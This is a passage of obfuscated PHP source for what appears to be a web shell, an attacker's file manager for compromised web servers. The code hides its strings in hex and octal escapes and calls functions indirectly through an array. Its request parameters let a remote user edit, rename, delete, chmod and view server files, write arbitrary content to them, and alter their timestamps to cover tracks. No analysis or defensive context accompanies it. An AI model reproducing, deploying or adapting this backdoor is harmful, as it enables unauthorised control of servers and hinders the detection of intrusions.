"\x3c\x2f\143\x6f\x64\x65\76\x20\55\40\x4c\151\156\153\x3a\40\x3c\141\40\x68\162\x65\x66\75\x22\57\x2f" . $fullx . "\57" . uhex($_GET["\145"]) . "\42\x20\x74\141\x72\x67\x65\164\x3d\42\x5f\142\x6c\141\156\x6b\42\76" . $fullx . "\57" . uhex($_GET["\x65"]) . "\74\x2f\141\x3e" . $b_ . "\xa\x9\11\x9\x9\11\11\x9\x9\11\74\144\151\x76\40\143\154\141\163\163\75\42\151\x6e\x6c\x69\x6e\145\x22\x3e\xa\x9\x9\11\x9\11\x9\11\11\x9\74\x69\156\160\x75\164\x20\157\x6e\143\154\151\143\x6b\x3d\x22\x6c\x6f\143\141\x74\151\157\156\x2e\x68\162\x65\146\75\x27\x3f\144\x3d" . $_GET["\144"] . "\46\145\75" . $_GET["\145"] . "\x27\x22\40\164\171\x70\145\75\x22\x73\165\x62\155\x69\164\42\40\x63\x6c\141\163\x73\75\x22\x66\157\x72\x6d\x2d\143\x6f\x6e\x74\162\157\154\40\x63\157\154\55\155\x64\x2d\x32\x22\40\166\x61\154\x75\x65\75\x22\46\x6e\x62\163\160\x3b\x45\104\111\124\x26\156\142\x73\x70\73\42\x20\x2f\x3e\40\12\x9\x9\11\11\x9\x9\x9\x9\11\74\x69\156\160\165\164\40\x6f\156\143\154\x69\143\x6b\x3d\x22\154\157\143\x61\164\x69\x6f\x6e\x2e\150\x72\x65\x66\75\x27\77\144\x3d" . $_GET["\144"] . "\x26\162\x3d" . $_GET["\145"] . "\x27\42\40\164\x79\160\145\x3d\42\x73\165\142\155\x69\164\42\40\x63\154\x61\163\163\75\42\146\x6f\162\155\x2d\x63\x6f\156\x74\x72\x6f\154\40\x63\x6f\154\x2d\155\144\x2d\x32\42\x20\x76\x61\154\165\x65\75\42\46\156\142\x73\x70\x3b\122\x45\116\x41\x4d\x45\x26\156\142\163\160\x3b\x22\40\x2f\x3e\40\12\x9\11\x9\11\11\11\x9\x9\11\74\151\156\160\x75\164\40\x6f\x6e\x63\x6c\151\x63\153\x3d\x22\154\x6f\143\141\x74\151\x6f\x6e\x2e\150\162\145\x66\75\x27\77\144\x3d" . $_GET["\144"] . "\x26\x78\x3d" . $_GET["\145"] . "\47\42\x20\164\x79\160\x65\x3d\x22\163\x75\x62\155\x69\x74\42\x20\x63\154\x61\163\x73\75\x22\x66\157\x72\155\x2d\143\x6f\x6e\x74\x72\157\x6c\40\x63\x6f\154\x2d\x6d\144\x2d\x32\42\40\166\x61\154\165\145\x3d\x22\46\x6e\142\x73\160\73\104\105\x4c\105\x54\x45\x26\156\142\x73\160\x3b\42\40\x2f\76\xa\11\11\x9\x9\11\x9\x9\x9\x9\74\151\156\x70\x75\x74\x20\x6f\x6e\143\x6c\x69\x63\153\75\x22\154\157\143\141\x74\x69\x6f\156\x2e\150\162\145\x66\x3d\x27\77\x64\75" . $_GET["\144"] . "\x26\164\75" . $_GET["\145"] . "\47\x22\40\164\171\160\145\x3d\x22\163\x75\x62\x6d\x69\164\42\40\143\154\141\x73\163\75\x22\146\x6f\x72\155\x2d\143\157\x6e\164\162\x6f\154\x20\143\x6f\x6c\55\155\x64\x2d\x32\42\40\x76\141\x6c\x75\x65\x3d\42\x26\156\142\x73\160\73\107\101\x4e\124\x49\40\x54\101\116\x47\107\x41\x4c\46\x6e\x62\163\x70\x3b\x22\40\57\x3e\x20\12\11\11\11\x9\x9\x9\x9\x9\x9\74\151\156\160\165\x74\40\157\156\x63\154\x69\143\x6b\75\42\154\x6f\x63\141\164\151\x6f\156\x2e\x68\162\x65\146\75\x27\77\x64\75" . $_GET["\144"] . "\46\153\75" . $_GET["\145"] . "\x27\x22\x20\164\171\x70\145\75\42\x73\x75\x62\x6d\151\x74\x22\40\x63\154\x61\x73\x73\75\x22\x66\157\x72\155\x2d\x63\x6f\156\164\x72\x6f\x6c\x20\x63\x6f\154\55\155\x64\55\x32\42\x20\166\x61\154\x75\145\75\x22\x26\156\142\x73\x70\73\103\x48\x4d\117\x44\46\x6e\142\163\160\x3b\42\x20\x2f\76\40\12\11\11\x9\11\x9\x9\x9\x9\11\x3c\151\x6e\160\165\164\40\x6f\156\x63\154\151\143\153\x3d\42\154\x6f\x63\141\164\x69\x6f\x6e\56\x68\x72\145\x66\x3d\47\77\x64\75" . $_GET["\144"] . "\46\163\75" . $_GET["\145"] . "\x27\x22\x20\164\x79\160\145\x3d\42\x73\x75\142\x6d\x69\164\42\x20\x63\x6c\x61\163\163\75\x22\x66\x6f\x72\x6d\55\x63\157\156\x74\x72\x6f\x6c\x20\x63\x6f\154\55\155\144\x2d\x32\x22\x20\x76\141\x6c\165\145\x3d\x22\x26\x6e\x62\163\160\73\126\x49\105\x57\x26\x6e\x62\163\x70\x3b\42\x20\x2f\x3e\40\xa\11\x9\x9\x9\11\11\11\11\11\x3c\57\x64\x69\166\76\11\11\x9\12\x9\x9\11\11\x9\11\11\x9\11\x3c\x66\157\162\155\40\155\145\x74\150\x6f\x64\x3d\42\x70\x6f\163\x74\x22\76\12\11\x9\11\x9\x9\x9\x9\x9\11\11\74\164\x65\170\164\x61\x72\x65\141\x20\x6e\141\155\145\x3d\x22\145\42\x20\x63\x6c\x61\163\163\x3d\42\146\x6f\x72\155\x2d\143\x6f\156\x74\162\157\154\42\76" . $GNJ[15]($GNJ[6](uhex($_GET["\145"]))) . "\74\x2f\x74\x65\170\x74\141\x72\145\141\76\12\x9\x9\x9\11\x9\x9\11\11\x9\x9\74\163\160\141\156\x20\143\154\141\x73\x73\x3d\x22\167\42\40\163\164\x79\x6c\145\x3d\x22\x66\x6c\157\141\x74\72\162\x69\147\150\x74\x3b\x77\x69\x64\x74\x68\x3a\x35\60\x30\x70\x78\x3b\x64\x69\163\160\154\141\171\x3a\x20\151\156\154\x69\156\145\55\x62\154\x6f\143\153\x3b\160\x61\x64\x64\x69\156\x67\x3a\40\56\63\x37\65\162\x65\x6d\x20\x2e\67\65\162\x65\155\73\x66\x6f\x6e\x74\55\x73\151\172\145\72\x20\x31\x72\145\155\73\151\x6e\145\55\150\145\x69\147\x68\164\72\40\61\x2e\65\x3b\143\x6f\x6c\157\x72\x3a\40\43\64\x39\65\60\65\67\73\x62\141\x63\x6b\147\162\157\165\156\x64\x2d\x63\x6f\x6c\x6f\162\72\x20\43\x66\x66\146\x3b\142\x61\x63\153\x67\x72\157\x75\x6e\144\55\x63\154\x69\x70\72\x20\x70\141\144\x64\151\156\x67\55\142\x6f\170\x3b\142\x6f\162\x64\145\162\x3a\x20\x31\x70\170\40\x73\157\x6c\151\x64\40\43\143\145\x64\x34\144\141\73\x62\x6f\162\144\x65\x72\55\162\141\x64\151\x75\163\x3a\40\x2e\62\65\x72\145\155\x3b\x20\x74\162\141\x6e\163\x69\164\151\157\156\x3a\40\x62\x6f\x72\144\145\x72\55\143\x6f\x6c\x6f\162\x20\56\x31\65\x73\40\x65\x61\x73\145\x2d\x69\156\x2d\157\x75\164\54\x62\157\170\x2d\x73\150\141\144\157\167\40\56\61\x35\163\40\145\141\163\145\55\151\x6e\55\157\x75\164\73\42\76\12\11\11\x9\x9\11\11\x9\x9\11\11\102\101\123\105\x36\x34\40\x3a\x20\74\x73\145\x6c\145\x63\164\40\x69\144\x3d\42\x62\x36\64\x22\x20\156\141\155\x65\x3d\x22\x62\66\x34\x22\x20\x63\154\x61\163\x73\75\42\143\157\x6c\x2d\x6d\x64\x2d\63\x22\x3e\xa\x9\x9\x9\x9\x9\x9\x9\x9\x9\x9\11\74\x6f\x70\164\151\157\x6e\40\x76\x61\154\x75\145\x3d\x22\x30\x22\x3e\x4e\x4f\74\57\157\x70\164\151\x6f\156\76\xa\11\11\11\11\x9\x9\x9\x9\11\x9\11\x3c\x6f\x70\x74\151\157\x6e\40\x76\x61\x6c\165\145\75\42\x31\42\x3e\131\x45\123\x3c\x2f\x6f\x70\x74\151\x6f\x6e\76\12\11\x9\x9\11\11\11\11\11\11\11\x3c\x2f\x73\145\x6c\145\143\164\76\74\57\x73\160\x61\x6e\x3e\12\x9\11\x9\x9\x9\x9\11\x9\x9\11" . $d_ . "\12\x9\11\11\x9\11\x9\x9\x9" . $c_ . "\12\x9\11\x9\x9\11\11\11\11\xa\11\11\x9\11\11\x3c\163\143\162\x69\160\164\x3e\12\11\x9\x9\11\11\11\44\x28\42\43\142\66\x34\42\x29\x2e\x63\150\141\x6e\147\145\50\146\x75\x6e\143\164\151\157\x6e\x28\x29\x20\173\12\11\11\11\11\x9\x9\11\151\x66\x28\44\x28\42\x23\x62\x36\x34\x20\157\160\x74\151\157\x6e\x3a\x73\145\x6c\145\143\x74\145\x64\42\51\x2e\x76\x61\x6c\x28\x29\40\x3d\75\x20\60\x29\40\x7b\xa\x9\x9\11\x9\11\x9\x9\x9\166\x61\x72\x20\x58\x20\x3d\40\x24\50\x22\164\145\170\164\x61\162\145\141\x22\x29\56\x76\141\154\x28\x29\73\12\11\11\11\11\x9\11\x9\11\166\141\x72\40\x5a\x20\x3d\x20\x61\164\x6f\142\x28\130\51\x3b\xa\11\11\x9\11\11\11\11\11\44\x28\42\x74\145\170\x74\x61\x72\x65\141\x22\x29\56\166\141\154\50\x5a\51\73\xa\x9\11\11\11\11\x9\x9\175\xa\11\11\x9\x9\11\x9\x9\x65\154\163\x65\x20\173\12\x9\11\x9\x9\11\x9\11\11\166\141\162\40\116\x20\75\40\x24\50\x22\164\145\x78\x74\x61\162\145\141\42\x29\56\x76\x61\x6c\50\51\x3b\12\11\x9\x9\x9\11\x9\x9\x9\166\141\x72\40\111\40\x3d\40\142\x74\x6f\141\x28\x4e\x29\x3b\12\11\x9\11\x9\x9\11\11\11\x24\x28\x22\x74\x65\170\164\x61\162\x65\x61\x22\51\56\x76\141\x6c\50\x49\x29\x3b\12\11\11\x9\x9\x9\11\11\175\xa\x9\x9\11\x9\11\x9\x7d\51\x3b\12\x9\x9\x9\11\11\x3c\57\x73\143\x72\x69\160\x74\x3e"; printf("\x3c\x64\x69\166\x20\x63\154\141\x73\163\75\47\x64\x69\166\151\x64\145\x20\164\x61\x62\154\145\x20\x74\x61\142\x6c\145\x2d\142\x6f\x72\144\x65\162\x65\144\x20\155\164\x2d\63\x20\x68\157\166\145\162\x54\141\x62\x6c\145\47\76\xa\11\11\x9\x9\x3c\144\151\166\x20\x63\154\x61\x73\x73\x3d\47\x64\151\166\151\144\145\x2d\154\x65\146\x74\47\76\12\x9\11\11\x9\11\74\x74\141\x62\x6c\145\x20\x63\154\x61\163\x73\75\47\164\141\142\154\x65\x20\164\x61\142\154\x65\x2d\x62\x6f\162\144\x65\162\x65\144\x20\155\x74\x2d\63\40\150\x6f\166\x65\x72\124\x61\142\x6c\x65\x27\x3e\xa\11\x9\11\x9\11\11\74\164\162\x3e\x3c\x74\144\x3e\x53\x69\172\145\74\57\164\x64\x3e\74\164\x64\76\x25\163\74\x2f\164\144\76\x3c\57\x74\x72\76\xa\x9\11\11\x9\x9\x9\x3c\x74\x72\x3e\x3c\x74\x64\x3e\120\145\162\x6d\151\x73\x73\x69\x6f\x6e\x3c\57\x74\144\76\x3c\164\x64\76\x25\163\74\57\164\x64\76\x3c\x2f\164\162\76\xa\x9\11\x9\11\x9\x9\74\164\x72\76\74\164\144\x3e\103\x72\145\x61\164\x65\x20\164\x69\155\145\74\x2f\x74\x64\76\74\x74\144\76\45\163\74\x2f\x74\x64\76\74\x2f\x74\x72\76\xa\11\x9\11\11\x9\x9\74\x74\162\76\x3c\164\x64\76\114\141\x73\164\x20\x6d\x6f\144\x69\146\x69\x65\x64\74\x2f\x74\x64\x3e\74\164\144\x3e\45\x73\x3c\x2f\164\144\x3e\x3c\57\164\x72\x3e\12\11\11\x9\11\11\x9\74\164\x72\x3e\x3c\164\144\x3e\x4c\141\x73\x74\40\141\143\x63\145\163\x73\145\x64\74\57\x74\144\76\x3c\x74\144\76\x25\x73\74\57\x74\x64\76\74\57\x74\x72\x3e\12\11\x9\11\x9\11\74\x2f\164\141\x62\154\x65\x3e\xa\11\11\x9\x9\x3c\x2f\144\151\x76\76\12\11\11\11\x9\74\x64\x69\166\40\143\154\141\163\163\x3d\x27\144\151\166\151\x64\x65\x2d\x72\151\147\150\x74\47\x3e\12\x9\11\x9\11\x9\x3c\x74\x61\x62\154\x65\x20\x63\x6c\x61\163\163\x3d\x27\x74\x61\x62\x6c\x65\40\x74\x61\142\x6c\x65\55\x62\157\x72\144\x65\x72\145\144\x20\155\164\55\63\x20\x68\157\x76\145\162\124\x61\x62\x6c\145\x27\76\12\x9\x9\11\11\x9\11\74\164\162\x3e\74\x74\144\x3e\x4d\x49\115\105\x3c\57\164\x64\x3e\x3c\x74\144\76\x46\x69\x6c\145\x3c\57\x74\144\x3e\x3c\x2f\164\x72\76\12\11\11\11\11\x9\x9\74\164\x72\76\74\164\144\x3e\117\167\156\145\x72\x2f\x47\162\x6f\165\x70\74\x2f\164\x64\x3e\x3c\164\x64\x3e\45\163\x3c\x2f\164\144\x3e\74\x2f\x74\162\76\xa\x9\11\11\x9\11\x9\x3c\164\x72\x3e\74\x74\x64\x3e\x4d\104\65\74\x2f\x74\144\x3e\x3c\x74\x64\76\45\x73\x3c\57\164\x64\76\74\x2f\164\162\x3e\xa\x9\11\x9\x9\x9\x9\x3c\x74\162\x3e\74\x74\144\76\x53\x48\101\x31\x3c\x2f\x74\x64\76\x3c\x74\x64\x3e\45\163\74\57\x74\x64\x3e\74\57\x74\x72\x3e\12\x9\11\x9\x9\11\11\74\164\162\76\74\x74\144\76\x50\141\164\x68\74\x2f\x74\144\x3e\74\164\144\76\45\163\74\57\x74\144\76\74\x2f\164\x72\x3e\12\11\x9\11\x9\x9\11\12\11\x9\11\11\x9\74\57\164\141\142\154\x65\76\xa\x9\x9\x9\x9\x3c\x2f\144\x69\x76\x3e\12\x9\x9\x9\x3c\x2f\144\151\x76\x3e", GetFileSize(@filesize($checkfx)), GetFilePerm($checkfx), GetFileTime($checkfx, "\x63\x72\x65\x61\164\x65"), GetFileTime($checkfx, "\x6d\x6f\144\x69\x66\x79"), GetFileTime($checkfx, "\x61\x63\143\145\x73\163"), GetFileOwnerGroup($checkfx), @md5_file($checkfx), @sha1_file($checkfx), realpath($checkfx)); if (isset($_POST["\x65"])) { if ($_POST["\x62\x36\64"] == "\x31") { $ex = $GNJ[7]($_POST["\x65"]); $bb64 = b64ed(utf8_encode($ex)); } else { $ex = $_POST["\x65"]; $bb64 = b64ed(utf8_encode($ex)); } $fp = $GNJ[17](uhex($_GET["\145"]), "\167"); if ($GNJ[18]($fp, b64dd(utf8_encode($bb64)))) { echo "\x3c\142\157\x64\171\x20\x6f\156\x6c\157\x61\x64\x3d\x22\150\151\163\x74\x6f\x72\171\x2e\147\x6f\x28\x2d\x31\x29\73\42\76"; } else { ER(); } $GNJ[19]($fp); } } } else { echo "\x3c\x68\x72\76\x3c\142\162\x3e\74\143\145\x6e\x74\x65\162\x3e\74\x68\62\x3e\106\151\154\x65\x20\x6e\x6f\164\x20\x65\170\151\x73\164\41\x20\x3c\141\x20\x68\x72\145\146\75\x27\77\144\x3d" . hex($d) . "\x26\156\47\x3e\x44\x6f\x20\171\x6f\x75\x20\167\141\156\x74\x20\x74\157\40\143\x72\x65\141\164\145\x20\x69\x74\x20\77\74\57\141\x3e\x3c\x2f\150\62\x3e\74\57\x63\x65\156\164\145\162\x3e"; } } elseif (isset($_GET["\x78"])) { rec(uhex($_GET["\170"])); if ($GNJ[26](uhex($_GET["\x78"]))) { ER(); } else { OK(); } } elseif (isset($_GET["\164"])) { $checkfx = $d . DIRECTORY_SEPARATOR . uhex($_GET["\164"]); if (file_exists($checkfx)) { echo $a_ . "\x3c\150\x32\x3e\107\x61\156\164\x69\x20\x57\x61\x6b\164\x75\40\106\x69\x6c\145\40" . uhex($_GET["\x74"]) . "\x3c\57\150\62\x3e\x50\x61\164\150\72\40\74\x63\157\144\x65\76" . $checkfx . "\74\x2f\x63\157\144\145\x3e\x20\55\x20\114\151\x6e\153\x3a\x20\74\x61\x20\x68\x72\145\x66\75\x22\x2f\57" . $fullx . "\x2f" . uhex($_GET["\x74"]) . "\42\x20\x74\x61\x72\147\x65\164\x3d\x22\137\142\x6c\141\x6e\153\x22\76" . $fullx . "\57" . uhex($_GET["\164"]) . "\x3c\57\141\76" . $b_ . "\12\x9\x9\11\x9\11\11\x9\x9\11\11\x9\11\11\74\144\x69\166\40\x63\x6c\141\x73\163\x3d\x22\151\156\x6c\x69\x6e\145\42\76\xa\11\11\x9\x9\11\11\x9\x9\11\74\x69\156\160\x75\164\40\157\156\143\x6c\151\x63\153\75\42\154\x6f\x63\141\x74\151\x6f\x6e\56\x68\162\x65\x66\x3d\x27\77\x64\75" . $_GET["\x64"] . "\46\145\x3d" . $_GET["\x74"] . "\47\x22\40\x74\x79\x70\145\x3d\42\x73\165\x62\x6d\x69\164\x22\x20\143\x6c\x61\163\x73\75\x22\146\x6f\162\155\55\x63\x6f\156\164\x72\157\x6c\x20\143\157\x6c\x2d\x6d\x64\55\x32\x22\x20\x76\141\154\165\145\x3d\x22\46\x6e\142\x73\160\73\105\x44\x49\124\x26\x6e\x62\x73\160\x3b\x22\x20\57\76\x20\12\x9\x9\x9\x9\11\x9\11\x9\x9\x3c\151\156\x70\x75\x74\x20\157\x6e\x63\154\x69\x63\x6b\75\x22\154\x6f\x63\141\x74\x69\x6f\156\56\150\162\x65\x66\x3d\47\77\144\75" . $_GET["\x64"] . "\x26\x72\75" . $_GET["\164"] . "\47\x22\40\164\x79\x70\145\75\42\163\x75\142\x6d\151\x74\x22\x20\143\x6c\x61\x73\x73\x3d\42\x66\x6f\162\155\x2d\x63\x6f\156\x74\162\157\x6c\40\143\157\x6c\x2d\155\x64\x2d\x32\42\x20\x76\x61\154\x75\x65\x3d\42\x26\156\x62\x73\160\x3b\122\x45\116\x41\x4d\105\x26\156\x62\x73\160\73\42\x20\57\x3e\40\xa\11\11\11\x9\x9\x9\x9\11\11\74\151\156\160\165\x74\40\157\156\x63\x6c\151\x63\x6b\75\42\x6c\157\143\141\164\x69\x6f\156\x2e\150\162\x65\x66\x3d\47\77\144\75" . $_GET["\x64"] . "\46\170\75" . $_GET["\x74"] . "\x27\x22\x20\x74\x79\x70\145\75\42\x73\165\142\155\151\164\42\x20\143\x6c\141\163\163\x3d\42\146\157\x72\x6d\x2d\x63\x6f\156\164\x72\x6f\x6c\40\143\x6f\154\x2d\155\144\x2d\x32\42\40\166\x61\154\165\145\x3d\x22\46\x6e\x62\x73\160\x3b\x44\x45\x4c\105\x54\x45\x26\x6e\142\163\x70\x3b\42\x20\57\76\xa\x9\11\11\11\11\x9\11\11\x9\x3c\151\156\x70\165\164\x20\157\156\x63\154\151\x63\153\x3d\x22\x6c\x6f\x63\x61\x74\151\157\156\56\x68\162\x65\146\x3d\47\x3f\x64\75" . $_GET["\x64"] . "\46\x74\x3d" . $_GET["\164"] . "\x27\x22\x20\x74\x79\x70\x65\75\42\x73\165\x62\x6d\151\164\42\40\143\x6c\141\163\163\75\42\x66\157\x72\155\x2d\x63\157\156\x74\162\157\x6c\40\x63\157\154\55\x6d\144\55\x32\42\x20\166\141\x6c\165\x65\x3d\42\x26\x6e\x62\x73\160\x3b\107\x41\x4e\x54\111\x20\x54\x41\116\107\x47\x41\114\x26\156\142\x73\x70\x3b\42\40\x2f\76\x20\12\11\11\11\x9\x9\11\x9\x9\11\x3c\151\156\x70\165\164\x20\157\156\x63\154\x69\x63\153\x3d\x22\154\157\x63\141\x74\x69\157\x6e\x2e\x68\162\145\146\75\x27\77\144\x3d" . $_GET["\144"] . "\x26\153\x3d" . $_GET["\x74"] . "\x27\x22\x20\x74\171\x70\145\75\42\163\x75\x62\x6d\151\x74\42\x20\x63\x6c\141\163\163\75\42\146\157\162\x6d\55\x63\157\x6e\164\x72\x6f\x6c\x20\143\x6f\154\55\x6d\144\55\62\42\40\x76\x61\x6c\165\145\x3d\x22\x26\156\x62\x73\160\x3b\103\110\115\x4f\x44\x26\156\x62\163\x70\x3b\42\x20\57\76\40\xa\11\11\11\11\11\11\x9\x9\x9\x3c\151\156\160\165\x74\40\x6f\x6e\x63\154\x69\143\153\75\x22\x6c\157\x63\x61\x74\x69\x6f\x6e\x2e\150\162\145\x66\x3d\47\77\144\75" . $_GET["\144"] . "\x26\163\75" . $_GET["\164"] . "\x27\42\x20\x74\x79\160\145\x3d\42\163\165\x62\x6d\x69\x74\42\x20\143\154\x61\163\x73\75\x22\x66\x6f\x72\x6d\55\x63\157\x6e\x74\x72\157\154\x20\143\x6f\x6c\x2d\x6d\x64\x2d\62\42\40\166\141\x6c\x75\x65\75\42\46\x6e\x62\163\160\73\x56\x49\x45\127\46\156\142\163\x70\x3b\42\x20\57\76\40\xa\11\x9\x9\x9\x9\11\x9\x9\11\74\57\144\x69\166\x3e\xa\11\x9\x9\11\11\x9\x9\11\11\74\x63\145\156\x74\x65\162\x3e\12\x9\11\x9\11\x9\x9\11\11\x9\74\146\157\x72\x6d\x20\x61\x63\164\x69\157\156\x3d\x22\42\x20\155\145\x74\150\157\x64\x3d\42\160\157\x73\x74\x22\x3e\xa\11\11\11\x9\x9\11\11\x9\x9\11\x3c\151\x6e\160\x75\164\x20\x6e\141\155\145\x3d\42\x74\x22\40\x63\x6c\141\x73\163\75\42\146\x6f\x72\x6d\x2d\x63\157\156\164\x72\157\154\x20\143\x6f\x6c\x2d\155\144\55\63\42\40\141\x75\164\x6f\143\x6f\155\x70\154\145\x74\145\75\x22\157\x66\146\x22\x20\164\171\x70\145\x3d\42\164\145\x78\x74\42\40\166\141\154\x75\x65\75\42" . $GNJ[20]("\131\x2d\155\x2d\144\x20\110\x3a\151", $GNJ[21](uhex($_GET["\x74"]))) . "\42\x3e\12\11\11\x9\x9\x9\x9\11\x9\x9\11" . $d_ . "\12\x9\x9\11\x9\11\11\x9\x9" . $c_; printf("\x3c\x64\151\x76\x20\x63\154\x61\x73\163\x3d\47\x64\x69\166\x69\x64\145\x20\164\141\x62\x6c\145\x20\x74\x61\x62\154\145\x2d\142\x6f\x72\x64\145\x72\145\x64\40\155\x74\x2d\x33\x20\x68\157\x76\145\162\124\141\142\x6c\145\x27\x3e\xa\11\x9\11\11\74\x64\151\x76\x20\143\x6c\141\163\163\75\x27\x64\x69\x76\x69\x64\145\55\154\x65\x66\x74\x27\x3e\12\11\11\11\11\x9\74\164\141\142\x6c\x65\x20\x63\154\x61\x73\163\75\x27\x74\141\142\x6c\145\40\164\141\142\x6c\145\55\x62\157\162\x64\x65\162\x65\x64\40\x6d\x74\x2d\63\40\x68\x6f\x76\x65\x72\124\141\142\x6c\x65\47\76\12\11\11\11\11\11\x9\x3c\x74\162\76\x3c\x74\144\x3e\123\x69\172\145\74\x2f\164\x64\x3e\x3c\x74\x64\76\x25\163\x3c\57\x74\x64\x3e\x3c\x2f\164\x72\76\xa\11\x9\x9\11\x9\11\x3c\164\162\x3e\74\x74\144\x3e\x50\145\162\155\151\x73\x73\151\x6f\x6e\74\x2f\x74\144\x3e\x3c\164\x64\x3e\45\163\x3c\x2f\164\x64\76\x3c\x2f\x74\x72\x3e\12\x9\11\x9\11\11\11\x3c\164\162\x3e\74\164\x64\x3e\x43\x72\145\141\x74\145\x20\x74\x69\155\x65\x3c\57\x74\x64\76\x3c\164\x64\x3e\45\x73\x3c\x2f\164\144\76\x3c\57\x74\x72\76\12\11\x9\11\11\x9\x9\74\x74\162\x3e\x3c\x74\144\x3e\114\141\x73\x74\x20\x6d\x6f\x64\x69\x66\151\145\x64\x3c\x2f\x74\x64\76\74\164\x64\x3e\x25\x73\74\x2f\x74\144\76\74\57\164\x72\76\12\x9\11\x9\x9\x9\11\74\164\162\x3e\x3c\x74\144\76\114\x61\x73\164\40\x61\143\143\145\x73\163\145\144\74\x2f\164\144\76\74\164\x64\x3e\x25\x73\x3c\57\164\144\x3e\x3c\x2f\x74\162\76\xa\11\11\x9\11\x9\74\57\x74\141\142\154\145\76\12\11\11\x9\x9\74\x2f\144\x69\166\76\12\x9\11\x9\x9\x3c\x64\x69\166\40\x63\154\x61\163\x73\x3d\x27\144\x69\166\151\144\x65\55\162\151\x67\x68\164\x27\x3e\xa\11\11\11\x9\11\74\164\x61\142\154\x65\x20\143\154\141\x73\x73\75\x27\164\x61\142\154\145\40\164\141\142\x6c\145\55\x62\x6f\x72\x64\145\162\x65\x64\40\x6d\x74\x2d\63\40\150\x6f\166\x65\x72\x54\x61\x62\154\x65\x27\76\xa\11\x9\11\x9\11\11\x3c\164\x72\76\x3c\x74\x64\76\x4d\x49\x4d\105\x3c\x2f\164\x64\76\x3c\x74\144\x3e\x46\x69\x6c\145\x3c\x2f\x74\144\x3e\74\57\x74\x72\76\xa\x9\x9\x9\x9\11\11\x3c\164\162\76\74\x74\x64\76\117\x77\156\x65\x72\57\x47\162\157\165\x70\x3c\x2f\x74\144\x3e\x3c\x74\144\76\x25\163\x3c\57\x74\x64\76\x3c\x2f\164\x72\76\12\11\11\x9\11\x9\11\x3c\x74\162\76\x3c\x74\x64\x3e\115\x44\65\74\57\164\144\x3e\74\164\x64\76\x25\x73\x3c\x2f\164\144\76\74\57\x74\162\x3e\12\11\11\x9\x9\11\11\74\x74\x72\x3e\74\164\144\x3e\123\x48\101\61\x3c\x2f\164\x64\x3e\x3c\x74\144\76\45\163\74\x2f\x74\144\x3e\x3c\x2f\164\x72\76\xa\x9\11\11\x9\x9\11\74\x74\162\76\74\x74\x64\76\120\141\x74\150\x3c\x2f\164\144\76\74\x74\144\x3e\x25\x73\74\x2f\x74\x64\76\x3c\57\x74\162\x3e\12\11\11\x9\x9\11\11\xa\11\x9\11\x9\x9\74\x2f\164\141\x62\x6c\145\x3e\12\11\x9\11\x9\x3c\x2f\144\151\166\76\xa\11\11\11\x3c\57\144\151\x76\x3e", GetFileSize(@filesize($checkfx)), GetFilePerm($checkfx), GetFileTime($checkfx, "\143\x72\x65\x61\x74\x65"), GetFileTime($checkfx, "\x6d\157\x64\151\x66\x79"), GetFileTime($checkfx, "\x61\x63\143\145\163\x73"), GetFileOwnerGroup($checkfx), @md5_file($checkfx), @sha1_file($checkfx), realpath($checkfx)); if (!empty($_POST["\164"])) { $p = $GNJ[33]($_POST["\164"]); if ($p) { if (!$GNJ[25](uhex($_GET["\164"]), $p, $p)) { ER(); } else { echo "\x3c\142\157\x64\171\40\x6f\156\154\x6f\141\x64\x3d\x22\150\151\163\164\157\x72\171\x2e\147\157\50\x2d\x31\x29\73\42\x3e"; } } else { ER(); } } } else { echo "\106\x69\x6c\x65\x20\x6e\x6f\x74\40\145\170\151\163\164\41\40\74\141\40\150\162\145\x66\75\x27\x3f\144\75" . hex($d) . "\46\156\47\x3e\x44\157\x20\x79\157\x75\x20\167\x61\156\x74\40\164\x6f\x20\143\x72\x65\x61\x74\145\40\x69\x74\40\77\x3c\57\141\x3e"; } } elseif (isset($_GET["\153"])) { $checkfx = $d . DIRECTORY_SEPARATOR . uhex($_GET["\153"]); if (file_exists($checkfx)) { echo $a_ . "\74\x68\62\x3e\x43\x48\115\117\x44\x20" . uhex($_GET["\153"]) . "\74\x2f\150\62\76\x50\141\164\x68\x3a\x20\x3c\x63\157\144\x65\x3e" . $checkfx . "\74\57\x63\157\x64\x65\76\40\55\40\114\x69\156\153\x3a\40\x3c\x61\x20\x68\162\145\146\x3d\x22\x2f\x2f" . $fullx . "\x2f" . uhex($_GET["\x6b"]) . "\x22\x20\x74\141\x72\147\145\x74\75\x22\137\x62\x6c\x61\x6e\153\42\76" . $fullx . "\57" . uhex($_GET["\153"]) . "\74\57\141\x3e" . $b_ . "\12\11\11\11\11\x9\x9\11\11\x9\x9\x9\11\74\x64\x69\x76\40\143\x6c\x61\163\x73\x3d\x22\151\x6e\154\x69\x6e\x65\x22\x3e\xa\11\11\11\11\11\x9\x9\11\11\x3c\151\156\x70\165\x74\x20\x6f\x6e\143\154\151\x63\x6b\75\x22\154\x6f\x63\141\164\151\x6f\156\56\x68\162\145\146\75\47\77\x64\x3d" . $_GET["\x64"] . "\46\145\75" . $_GET["\153"] . "\47\x22\40\x74\x79\160\x65\x3d\42\163\165\142\155\x69\164\x22\40\143\x6c\x61\163\163\75\42\146\157\162\155\x2d\143\x6f\156\x74\162\x6f\154\40\143\x6f\x6c\x2d\155\144\55\x32\x22\x20\166\141\154\165\x65\x3d\42\46\x6e\142\x73\160\x3b\105\104\111\x54\x26\156\142\x73\x70\73\x22\40\x2f\76\40\12\11\x9\x9\11\x9\11\11\11\x9\74\151\x6e\160\165\164\40\x6f\x6e\x63\154\151\143\x6b\75\x22\154\157\143\141\164\151\157\x6e\56\x68\162\145\x66\75\47\x3f\144\75" . $_GET["\144"] . "\x26\x72\x3d" . $_GET["\153"] . "\47\42\x20\x74\171\160\x65\x3d\x22\x73\165\x62\x6d\151\164\x22\x20\x63\x6c\x61\x73\163\75\42\146\x6f\x72\155\x2d\x63\x6f\156\164\162\x6f\154\x20\x63\x6f\x6c\x2d\155\144\55\62\x22\x20\166\x61\x6c\x75\x65\75\x22\46\x6e\x62\x73\160\73\122\105\116\101\x4d\105\46\156\142\x73\160\73\x22\40\57\76\x20\xa\x9\x9\x9\11\x9\x9\x9\x9\x9\74\151\x6e\x70\x75\x74\40\157\x6e\143\x6c\x69\x63\153\x3d\42\x6c\x6f\x63\x61\164\151\157\x6e\x2e\x68\162\145\146\75\x27\77\144\x3d" . $_GET["\144"] . "\x26\x78\x3d" . $_GET["\153"] . 